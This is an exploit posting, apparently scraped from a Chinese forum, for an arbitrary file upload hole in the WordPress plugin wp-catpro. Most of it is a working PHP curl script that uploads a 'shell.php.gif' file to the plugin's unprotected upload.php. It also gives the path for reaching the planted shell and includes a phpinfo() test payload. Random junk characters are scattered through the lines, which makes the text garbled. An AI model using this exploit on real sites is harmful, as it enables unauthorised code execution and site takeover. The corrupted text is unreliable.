Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
; n$ M- k# @7 X8 l#-----------------------------------------------------------------------( ?& o! }2 [* {# }2 Y6 f
1 X' g/ a6 q3 |* M
作者 => Zikou-16/ r" ] R# z8 p: @, {, p
邮箱 => zikou16x@gmail.com8 t1 S# o3 D7 w: }0 d
测试系统 : Windows 7 , Backtrack 5r37 B* e- y9 _- l( P- b8 Q
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip. [4 [8 N& B; i: r
####
# }0 Q# n2 v, G6 L
/ b( y+ f0 a$ D, p2 t0 P#=> Exploit 信息:
7 R' O( Q, \" \9 \0 M4 `------------------$ Z, E3 d( q2 ^6 V4 K
# 攻击者可以上传 file/shell.php.gif. [5 x9 {" x3 w* F1 G) r9 w: D
# ("jpg", "gif", "png") // Allowed file extensions
3 |0 n9 M4 e1 z6 f# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
% d7 H5 j, N' m7 b* {# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)& c( Q# ]& B* u! E
------------------( @: a, G% C" m6 U. b$ d2 K8 G
0 C5 z& n, A" Y) Z* ^) |1 x6 H#=> Exploit b6 c2 _/ ~( {/ P& i; D0 q
-----------+ \" }4 E) ~6 L- t% @; m4 Q3 R
<?php
# t- p3 k& r I; t" o5 _ 0 Y& z7 x/ C+ L6 L0 V1 p( k! E+ p' y
$uploadfile="zik.php.gif";
$ ^/ j. O) F) O Q% o2 ?$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
" o" _) n1 ?+ s1 r* \2 S- icurl_setopt($ch, CURLOPT_POST, true);
* I ?( g% H q1 Ncurl_setopt($ch, CURLOPT_POSTFIELDS,
4 g+ Q0 A% b! W+ Z7 L$ Y' J* q7 N0 Darray('Filedata'=>"@$uploadfile",
4 q, r' ^3 l7 K& L4 m; R'folder'=>'/wp-content/uploads/catpro/'));0 ]3 X, t) P' F1 u/ u- m
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$ i4 y* _; u/ E3 a0 B: t: S0 y, M$ F8 u$postResult = curl_exec($ch);
, t/ B/ M/ f/ C/ ~) Scurl_close($ch);& e: x8 x9 I0 Q
* R2 \. \% c6 S9 C7 y H+ p6 y
print "$postResult";6 a5 x: a: |7 Y1 k. B. m1 j
; k3 O R4 C* \3 v- g5 ^$ c2 cShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif' D% S6 f5 m3 C; q
?>' J* T$ G7 u& u8 `2 g
<?php
1 P) k: s+ u' Bphpinfo();, Q: C0 H7 v7 i' K
?> |